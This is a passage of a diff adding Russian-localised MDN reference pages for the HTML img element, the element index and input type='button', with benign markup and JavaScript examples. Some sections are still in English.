+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Внутренняя ширина (см. {{glossary("intrinsic size", "Внутренний размер")}}) изображения в пикселях.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>
+ <p>Неполный {{glossary("URL")}} (начиная с '<code>#</code>') <a href="/en-US/docs/Web/HTML/Element/map">карты-изображения</a>, связанной с элементом.</p>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Вы не можете использовать этот атрибут, если элемент <code>&lt;img&gt;</code> является потомком элемента {{htmlelement("a")}} или {{HTMLElement("button")}}.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Устаревшие_атрибуты">Устаревшие атрибуты</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Obsolete_Inline}}</dt>
+ <dd>
+ <p>Выравнивание изображения относительно окружающему его контексту. Этот атрибут больше не должен быть использован - вместо этого используйте CSS-свойства {{cssxref("float")}} и/или {{cssxref("vertical-align")}}. Вы можете так же использовать CSS-свойство {{cssxref("object-position")}} для позиционирования изображения внутри границ элемента <code>&lt;img&gt;</code>. Допустимые значения:</p>
+
+ <ul>
+  <li><code>top</code>: Аналог <code>vertical-align: top</code> или <code>vertical-align: text-top</code>;</li>
+  <li><code>middle</code>: Аналог <code>vertical-align: -moz-middle-with-baseline</code>;</li>
+  <li><code>bottom</code>: Отсутствует значение по умолчанию, аналог <code>vertical-align: unset</code> или <code>vertical-align: initial</code>;</li>
+  <li><code>left</code>: Аналог <code>float: left</code>;</li>
+  <li><code>right</code>: Аналог <code>float: right</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Obsolete_Inline}}</dt>
+ <dd>Ширина рамки вокруг изображения. Вы должны использовать CSS-свойство {{cssxref('border')}} вместо этого атрибута.</dd>
+ <dt>{{htmlattrdef("hspace")}} {{Obsolete_Inline}}</dt>
+ <dd>Отступ слева и справа от изображения в пикселях. Вы должны использовать CSS-свойство {{cssxref('margin')}} вместо этого атрибута.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{Obsolete_Inline}}</dt>
+ <dd>
+ <p>Ссылка на более подробное описание изображения. Возможными значениями являются {{glossary("URL")}} или {{htmlattrxref("id")}} элемента.</p>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, но был удален из <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">живого стандарта HTML</a> от {{glossary("WHATWG")}}. У него неопределенное будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> или <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt>
+ <dd>Имя для элемента. Вы должны использовать атрибут {{htmlattrxref("id")}} вместо этого атрибута.</dd>
+ <dt>{{htmlattrdef("vspace")}} {{Obsolete_Inline}}</dt>
+ <dd>Отступ сверху и снизу от изображения в пикселях. Вы должны использовать CSS-свойство {{cssxref('margin')}} вместо этого атрибута.</dd>
+</dl>
+
+<h2 id="Взаимодействие_с_CSS">Взаимодействие с CSS</h2>
+
+<p><code>&lt;img&gt;</code> является <a href="/ru/docs/Web/CSS/Замещаемый_элемент">замещаемым элементом</a>; по умолчанию он имеет значение свойства {{cssxref("display")}} равное <code>inline</code>, но его размеры по умолчанию определяются внутренними значениями (см. {{glossary("Intrinsic Size", "внутренний размер")}}) встроенного изображения. Вы можете установить на изображение такие свойства, как {{cssxref("border")}}/{{cssxref("border-radius")}}, {{cssxref("padding")}}/{{cssxref("margin")}}, {{cssxref("width")}}/{{cssxref("height")}} и так далее.</p>
+
+<p>Однако, часто бывает полезно установить для изображений свойство {{cssxref("display")}} в значение <code>block</code>, так что вы имеете максимальный контроль над стилизацией (например, <code>margin: 0 auto</code> не работает на изображениях с <code>display: inline</code>, легче размещать изображения в контексте с окружающими элементами, когда они являются <a href="/ru/docs/Web/HTML/Block-level_elements">блочными</a>).</p>
+
+<p>У <code>&lt;img&gt;</code> нет базовой линии, когда изображения используются в ситуации со строчным форматированием (<code>display: inline</code>) вместе с {{cssxref("vertical-align")}}<code>: baseline</code>, нижняя граница изображения будет размещена на базовой линии контейнера.</p>
+
+<p>Вы можете использовать свойство {{cssxref("object-position")}} для позиционирования изображения внутри границ элемента <code>&lt;img&gt;</code> и свойством {{cssxref("object-fit")}} регулировать размеры изображения внутри этих границ (например, должно ли изображение помещаться в границы элемента или заполнить элемент полностью, даже если потребуется обрезка).</p>
+
+<p>В зависимости от типа, изображение может иметь собственную (внутреннюю) ширину и высоту. Для некоторых типов изображений тем не менее {{glossary("Intrinsic Size", "внутренние размеры")}} не обязательны. {{glossary("SVG")}}-изображения, например, могут не иметь внутренних размеров, если для корня их элемента {{SVGElement("svg")}} не заданы <code>width</code> и <code>height</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Альтернативный_текст">Альтернативный текст</h3>
+
+<p>Следующий простой пример встраивает изображение с альтернативным текстом в страницу для улучшения доступности.</p>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/web-docs-sprite.22a6a085cf14.svg"
+     alt="Логотип MDN - изображение динозавра с текстом MDN web docs"&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Альтернативный_текст', '100%', '70') }}</p>
+
+<h3 id="Изображение-ссылка">Изображение-ссылка</h3>
+
+<p>Этот пример основан на предыдущем и показывает как превратить изображение в ссылку. Это очень просто сделать так — вы вставляете тег <code>&lt;img&gt;</code> внутрь элемента {{HTMLElement("a")}}. Также вы должны изменить альтернативный текст, чтобы он описывал назначение ссылки.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org"&gt;
+  &lt;img src="https://developer.mozilla.org/static/img/web-docs-sprite.22a6a085cf14.svg"
+       alt="Посетить сайт MDN"&gt;
+&lt;/a&gt;</pre>
+
+<p>{{ EmbedLiveSample('Изображение-ссылка', '100%', '70') }}</p>
+
+<h3 id="Использование_атрибута_srcset">Использование атрибута srcset</h3>
+
+<p>В этом примере мы добавляем атрибут <code>srcset</code>, содержащий ссылку на версию логотипа в высоком разрешении; оно будет загружено вместо изображения в <code>src</code> на устройствах с высоким разрешением. Изображение указанное в атрибуте <code>src</code>, считается <code>1x</code> кандидатом в {{glossary("user agent", "пользовательских агентах")}}, которые поддерживают <code>srcset</code>.</p>
+
+<pre class="brush: html"> &lt;img src="mdn-logo-sm.png"
+      alt="MDN"
+      srcset="mdn-logo-HD.png 2x"&gt;
+</pre>
+
+<h3 id="Использование_атрибутов_srcset_и_sizes">Использование атрибутов srcset и sizes</h3>
+
+<p>Атрибут <code>src</code> игнорируется в {{glossary("user agent", "пользовательских агентах")}}, которые поддерживают <code>srcset</code>, когда добавлены дескрипторы '<code>w</code>'. Когда условие медиа-запроса <code>(max-width: 600px)</code> совпадает с состоянием устройства, будет загружено изображение шириной 200px (оно то самое, которое наиболее близко соответствует 200px, указанным в медиа-запросе), иначе будет загружено другое изображение.</p>
+
+<pre class="brush: html"> &lt;img src="clock-demo-thumb-200.png"
+      alt="Часы"
+      srcset="clock-demo-thumb-200.png 200w,
+          clock-demo-thumb-400.png 400w"
+      sizes="(max-width: 600px) 200px, 50vw"&gt;
+</pre>
+
+<h2 id="Проблемы_безопасности_и_приватности">Проблемы безопасности и приватности</h2>
+
+<p>Хотя у элементов <code>&lt;img&gt;</code> есть множество безобидных применений, они могут иметь нежелательные последствия для безопасности и приватности пользователя. Смотрите "<a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Заголовок Referer: проблемы приватности и безопасности</a>" для получения дополнительной информации.</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<h3 id="Создание_значимых_альтернативных_описаний">Создание значимых альтернативных описаний</h3>
+
+<p>Значение атрибута <code>alt</code> должно четко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут <code>alt</code> намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.</p>
+
+<h4 id="Плохо">Плохо</h4>
+
+<pre class="brush: html example-bad">&lt;img alt="image" src="penguin.jpg"&gt;
+</pre>
+
+<h4 id="Хорошо">Хорошо</h4>
+
+<pre class="brush: html example-good">&lt;img alt="Пингвин на пляже." src="penguin.jpg"&gt;
+</pre>
+
+<p>Когда у изображения отсутствует атрибут <code>alt</code>, некоторые программы чтения с экрана могут объявить вместо него имя файла изображения. Это может привести к путанице, если имя файла не соответствует содержимому изображения.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/images/decision-tree/">Дерево решений атрибута alt • Изображения • Веб-руководство WAI по доступности</a>.</li>
+ <li><a href="https://axesslab.com/alt-texts/">Альтернативные тексты: максимальное руководство — Axess Lab</a>.</li>
+ <li><a href="https://www.deque.com/blog/great-alt-text-introduction/">Как создать отличный альтернативный текст: введение | Deque</a>.</li>
+ <li><a href="/ru/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Понимание WCAG, Руководство 1.1. объяснения</a>.</li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html">Понимание критерия успешного исхода 1.1.1 | W3C Понимание WCAG 2.0</a>.</li>
+</ul>
+
+<h3 id="Атрибут_title">Атрибут title</h3>
+
+<p>Атрибут {{htmlattrxref("title")}} не является приемлемой заменой атрибута <code>alt</code>. Кроме того, избегайте повторения значения атрибута <code>alt</code> в атрибуте <code>title</code>, объявленном на том же изображении.</p>
+
+<p>Атрибут {{htmlattrxref("title")}} также не должен использоваться в качестве подписи, сопровождающей альтернативное описание изображения. Если изображению нужна подпись, используйте элемент {{HTMLElement("figure")}} вместе с элементом {{HTMLElement("figcaption")}}.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Использование HTML-атрибута title - обновлено | The Paciello Group</a>.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлен атрибут <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("html.elements.img")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Изображения_в_HTML">Изображения в HTML</a>.</li>
+ <li><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>.</li>
+ <li>Элементы {{HTMLElement("picture")}}, {{HTMLElement("object")}} и {{HTMLElement("embed")}}.</li>
+ <li>Связанные с изображениями CSS-свойства: {{cssxref("object-fit")}}, {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, и {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html
new file mode 100644
index 0000000000..2fe4bfa7e7
--- /dev/null
+++ b/files/ru/web/html/element/index.html
@@ -0,0 +1,109 @@
+---
+title: Элемент
+slug: Web/HTML/Element
+tags:
+  - HTML
+  - Веб
+  - Справка
+  - элементы
+translation_of: Web/HTML/Element
+---
+<p>{{HTMLSidebar("Elements")}}</p>
+
+<p><span class="seoSummary">На этой странице собраны все {{Glossary("Element","элементы")}} {{Glossary("HTML")}}. Они сгруппированы по функциям, чтобы помочь вам найти то, что вам нужно для реализации ваших идей. Хотя это руководство написано для относительных новичков в программировании, мы хотим, чтобы оно было полезным для всех.</span></p>
+
+<h2 id="Основные_элементы"><span class="short_text" id="result_box" lang="ru"><span class="hps">Основные элементы</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Основные элементы</span> <span class="hps">являются основой</span> <span class="hps">любого</span> <span class="hps">HTML</span> <span class="hps">документа</span><span>.</span> <span class="hps">Вы увидите</span> <span class="hps">эти элементы</span> <span class="hps">в исходном коде</span> <span class="hps">для</span> <span class="atn hps">всех веб-</span><span>страниц</span> <span class="hps">после</span> задания <span class="hps">типа документа</span> <span class="hps">на первой строке</span> <span class="hps">на странице</span><span>. </span><span>DOCTYPE</span> <span class="hps">определяет, какую версию</span> <span class="atn hps">(</span><span>X) HTML</span><span> эта</span> <span class="hps">страница</span> <span class="hps">использует.</span> <span class="hps">Элементы страницы</span> <span class="hps">находятся</span> <span class="hps">между</span> <span class="atn hps">открывающим тегом &lt;</span><span>HTML&gt;</span> <span class="hps">и закрывающим</span> <span class="atn hps">&lt;</span><span>/</span> <span class="hps">HTML&gt;</span><span class="hps">. Элемент</span></span>{{HTMLElement("html")}} <span lang="ru"><span class="hps">называется корневым</span> <span class="hps">элементом</span><span>.</span></span>            </p>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="Метаданные_документа" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">М</span></span><span class="short_text" lang="ru"><span class="hps">етаданные документа</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Метаданные содержат</span> <span class="hps">информацию о странице</span><span>.</span> Они<span class="hps"> включают в себя</span> <span class="hps">информацию</span> <span class="hps">о стилях</span><span>, скрипты</span> <span class="hps">и данные</span><span>, чтобы помочь</span> <span class="atn hps">программному обеспечению</span> (<span>поисковые системы,</span> {{Glossary("Browser","браузеры")}} <span class="hps">и т.д.</span><span>) использовать и</span> <span class="hps">отображать страницу</span><span>.</span> <span class="hps">Метаданные для</span> <span class="hps">стилей</span> <span class="hps">и скрипты</span> <span class="hps">могут быть определены</span> <span class="hps">на странице</span> <span class="hps">или ссылке</span> <span class="hps">на другой файл</span><span>, который имеет</span> <span class="hps">информацию</span><span>.</span></span></p>
+
+<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
+
+<h2 id="Секционирование_содержания" style="line-height: 30px; font-size: 2.14285714285714rem;">Секционирование содержания</h2>
+
+<p>Секционирование содержания<span lang="ru"> <span class="hps">элементов</span> <span class="hps">позволяет разложить</span> <span class="hps">содержимое документа</span> <span class="hps">на логические части</span><span>.</span> <span class="hps">Используйте</span> <span class="hps">секционирование</span> <span class="hps">элементов для создания</span> <span class="hps">общих черт</span> <span class="hps">содержания страницы</span><span>, включая</span> шапку и подвал <span class="hps">и заголовочные элементы</span> <span class="hps">для обозначения</span> <span class="hps">разделов</span><span>.</span></span>   </p>
+
+<p>{{HTMLRefTable("HTML Sections")}}</p>
+
+<h2 id="Текстовое_содержание" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Текстовое содержание</span></span></h2>
+
+<div id="gt-src-tools">
+<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Используйте</span> текстовые <span class="hps">элементы</span> <span class="hps">HTML для</span> <span class="hps">организации</span> <span class="hps">блоков</span> <span class="hps">или разделов</span> <span class="hps">содержания</span><span>, размещенные</span> <span class="hps">между тегами открытия</span> <span class="atn hps">&lt;</span><span>body&gt;</span> <span class="hps">и закрытия</span> <span class="atn hps">&lt;</span><span>/</span><span>body&gt;</span><span>.</span> <span class="hps">Важное значение для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">и</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> чтобы эти элементы</span><span class="hps"> определили</span> <span class="hps">цель или</span> <span class="hps">структуру</span> <span class="hps">этого контента</span><span>.</span></span></div>
+
+<div> </div>
+</div>
+
+<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
+
+<h2 id="Встроенные_текстовые_семантики" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Встроенные</span> <span class="hps">текстовые</span> <span class="hps">семантики</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Используйте</span> <span class="hps">встроенную</span> в <span class="hps">HTML</span> </span><span lang="ru"><span class="hps">текстовую</span> <span class="hps">семантику</span><span>, чтобы определить</span> <span class="hps">смысл,</span> <span class="hps">структуру или</span> <span class="hps">стиль</span> <span class="hps">текста,</span> <span class="hps">линий или</span> <span class="hps">части</span> <span class="hps">текста.</span></span></p>
+
+<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
+
+<h2 id="Изображения_и_мультимедиа" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Изображения</span> <span class="hps">и</span> <span class="hps">мультимедиа</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">HTML</span> <span class="hps">позволяет использовать</span> <span class="hps">различные мультимедийные</span> <span class="hps">ресурсы</span><span>, такие как</span> <span class="hps">изображения</span><span>, аудио</span> <span class="hps">и</span> <span class="hps">видео.</span></span></p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="Встроенное_содержание" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Встроенное содержание</span></span></h2>
+
+<div id="gt-src-tools">
+<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">С</span><span class="hps">одержание</span> <span class="hps">мультимедийных</span> <span class="hps">HTML</span><span class="hps"> включает в себя</span> <span class="hps">другие</span> <span class="hps">материалы</span><span>, даже</span> <span class="hps">если они не</span> <span class="hps">всегда легко</span> <span class="hps">взаимодействуют.</span></span></div>
+
+<div> </div>
+</div>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="Скриптинг" style="line-height: 30px; font-size: 2.14285714285714rem;">Скриптинг</h2>
+
+<p>Чтобы создавать динамический контент и веб-приложения, HTML поддерживает использование скриптовых языков, наиболее известным является JavaScript. Некоторые элементы поддерживают эту возможность.</p>
+
+<p>{{HTMLRefTable("HTML Scripting")}}</p>
+
+<h2 id="Разграничительные_правки">Разграничительные правки</h2>
+
+<p>Эти элементы позволяют вам отметить определённые части текста.</p>
+
+<p>{{HTMLRefTable("HTML Edits")}}</p>
+
+<h2 id="Содержание_таблиц" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Содержание</span> т<span class="hps">аблиц</span></span></h2>
+
+<p>Эти элементы используются для создания и обработки табличных данных.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="Формы" style="line-height: 30px; font-size: 2.14285714285714rem;">Формы</h2>
+
+<p>HTML содержит некоторое количество элементов, которые используются вместе для создания форм, которые пользователь может заполнить и отправить на сервер. Доступно множество информации по этой теме в <a href="/ru/docs/Web/Guide/HTML/Forms">руководстве по HTML формам</a>.</p>
+
+<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
+
+<h2 id="Интерактивные_элементы" style="line-height: 30px; font-size: 2.14285714285714rem;">Интерактивные элементы</h2>
+
+<p>HTML содержит в себе элементы, которые помогают создавать интерактивные объекты пользовательского интерфейса.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="Веб-компоненты" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Веб-компоненты</span></span></h2>
+
+<p>Веб-компоненты - технология, относящаяся к HTML и делающая возможным создание и использование пользовательских элементов, как будто они в обычном HTML. Кроме того, вы можете даже создавать свои версии стандарта HTML элементов.</p>
+
+<div class="note"><strong>Замечание:</strong> Эти элементы определены в {{Glossary("W3C","World Wide Web Consortium")}} (W3C) <a href="http://www.w3.org/TR/components-intro/" title="http://www.w3.org/TR/components-intro/">Web Components collection of specifications</a> скорее, чем в HTML спецификации. К тому же, спецификация Веб-компонентов не завершена и является темой для обсуждений.</div>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p>
+
+<h2 id="Устаревшие_и_осуждаемые_элементы" style="line-height: 30px; font-size: 2.14285714285714rem;">Устаревшие и осуждаемые элементы</h2>
+
+<div class="warning" style="font-size: 14px;">
+<p><strong>Предупреждение:</strong> Эти HTML элементы являются устаревшими, и их использование не рекомендуется. <strong>Вы не должны использовать их для новых проектов, а также должны заменить их в старых проектах как можно быстрее. </strong>Они перечислены здесь только в информационных целях.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html
new file mode 100644
index 0000000000..984fa13988
--- /dev/null
+++ b/files/ru/web/html/element/input/button/index.html
@@ -0,0 +1,345 @@
+---
+title: <input type="button">
+slug: Web/HTML/Element/Input/button
+tags:
+  - HTML формы
+  - Формы
+  - Элемент Input
+translation_of: Web/HTML/Element/input/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Элемент {{HTMLElement("input")}} с типом <strong><code>button</code></strong> отображаются как простые кнопки, которые можно запрограммировать для управления пользовательскими функциями в любом месте веб-страницы, например, назначить функцию обработки события (обычно для события {{event("click")}}).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-shorter")}}</div>
+
+
+
+<div class="note">
+<p><strong>Заметка</strong>: Хотя элементы <code>&lt;input&gt;</code> с типом <code>button</code> по-прежнему являются абсолютно корректными в HTML, новый элемент {{HTMLElement("button")}} теперь является предпочтительным способом создания кнопок. Учитывая, что текст элемента {{HTMLElement("button")}} вставлен между открывающим и закрывающим тегами, вы можете включить в тег HTML, даже изображения.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Значение")}}</strong></td>
+   <td>{{domxref("DOMString")}} используется в качестве метки кнопки</td>
+  </tr>
+  <tr>
+   <td><strong>Событие</strong></td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Поддерживаемые общие атрибуты</strong></td>
+   <td>{{htmlattrxref("type", "input")}} и {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Атрибуты IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>None</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Атрибут значения элементов <code>&lt;input type="button"&gt;</code> elements' {{htmlattrxref("value", "input")}} содержит строку {{domxref("DOMString")}} , которая используется в качестве метки кнопки.</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="button" value="Нажми на меня"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p>Если вы не укажете <code>value</code>, вы получите пустую кнопку:</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="button"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="Использование_кнопок">Использование кнопок</h2>
+
+<p>Элементы <code>&lt;input type="button"&gt;</code> не имеют поведения по умолчанию (их двоюродные братья, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/reset">&lt;input type="reset"&gt;</a></code> используются для отправки и сброса форм соответственно). Чтобы кнопки делали что-либо, вы должны написать код JavaScript для выполнения работы.</p>
+
+<h3 id="Простая_кнопка">Простая кнопка</h3>
+
+<p>Мы начнем с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает <code>value</code> кнопки и текстовое содержимое следующего абзаца):</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="Запустить ПК"&gt;
+&lt;/form&gt;
+&lt;p&gt;ПК выключен.&lt;/p&gt;</pre>
+
+<pre class="brush: js">const button = document.querySelector('input');
+const paragraph = document.querySelector('p');
+
+button.addEventListener('click', updateButton);
+
+function updateButton() {
+  if (button.value === 'Запустить ПК') {
+    button.value = 'Выключить ПК';
+    paragraph.textContent = 'ПК запущен!';
+  } else {
+    button.value = 'Запустить ПК';
+    paragraph.textContent = 'ПК выключен.';
+  }
+}</pre>
+
+<p>Сценарий получает ссылку на объект {{domxref("HTMLInputElement")}}, представляющий <code>&lt;input&gt;</code> в DOM, сохраняя этот параметр в переменной <code>button</code>. Затем {{domxref("EventTarget.addEventListener", "addEventListener()")}} используется для установки функции, которая будет запускаться, когда на кнопке происходят события {{event("click")}}.</p>
+
+<p>{{EmbedLiveSample("Простая_кнопка", 650, 100)}}</p>
+
+<h3 id="Добавление_сочетаний_клавиш_на_кнопки">Добавление сочетаний клавиш на кнопки</h3>
+
+<p>Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any {{HTMLElement("input")}} for which it makes sense — you use the {{htmlattrxref("accesskey")}} global attribute.</p>
+
+<p>In this example, <kbd>s</kbd> is specified as the access key (you'll need to press <kbd>s</kbd> plus the particular modifier keys for your browser/OS combination; see <a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> for a useful list of those).</p>
+
+<div id="accesskey-example1">
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="Start machine" accesskey="s"&gt;
+&lt;/form&gt;
+&lt;p&gt;The machine is stopped.&lt;/p&gt;
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">const button = document.querySelector('input');
+const paragraph = document.querySelector('p');
+
+button.addEventListener('click', updateButton);
+
+function updateButton() {
+  if (button.value === 'Start machine') {
+    button.value = 'Stop machine';
+    paragraph.textContent = 'The machine has started!';
+  } else {
+    button.value = 'Start machine';
+    paragraph.textContent = 'The machine is stopped.';
+  }
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Adding_keyboard_shortcuts_to_buttons", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't intefere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are).</p>
+</div>
+
+<h3 id="Disabling_and_enabling_a_button">Disabling and enabling a button</h3>
+
+<p>To disable a button, simply specify the {{htmlattrxref("disabled")}} global attribute on it, like so:</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="button" value="Disable me" disabled&gt;</pre>
+</div>
+
+<p>You can enable and disable buttons at run time by simply setting <code>disabled</code> to <code>true</code> or <code>false</code>. In this example our button starts off enabled, but if you press it, it is disabled using <code>button.disabled = true</code>. A {{domxref("WindowTimers.setTimeout","setTimeout()")}} function is then used to reset the button back to its enabled state after two seconds.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_1">Hidden code 1</h6>
+
+<pre class="brush: html">&lt;input type="button" value="Enabled"&gt;</pre>
+
+<pre class="brush: js">const button = document.querySelector('input');
+
+button.addEventListener('click', disableButton);
+
+function disableButton() {
+  button.disabled = true;
+  button.value = 'Disabled';
+  window.setTimeout(function() {
+    button.disabled = false;
+    button.value = 'Enabled';
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p>
+
+<p>If the <code>disabled</code> attribute isn't specified, the button inherits its <code>disabled</code> state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a {{HTMLElement("fieldset")}} element, and then setting <code>disabled</code> on the container.</p>
+
+<p>The example below shows this in action. This is very similar to the previous example, except that the <code>disabled</code> attribute is set on the <code>&lt;fieldset&gt;</code> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Button group&lt;/legend&gt;
+  &lt;input type="button" value="Button 1"&gt;
+  &lt;input type="button" value="Button 2"&gt;
+  &lt;input type="button" value="Button 3"&gt;
+&lt;/fieldset&gt;</pre>
+
+<pre class="brush: js">const button = document.querySelector('input');
+const fieldset = document.querySelector('fieldset');
+
+button.addEventListener('click', disableButton);
+
+function disableButton() {
+  fieldset.disabled = true;
+  window.setTimeout(function() {
+    fieldset.disabled = false;
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p>
+
+<div class="note">
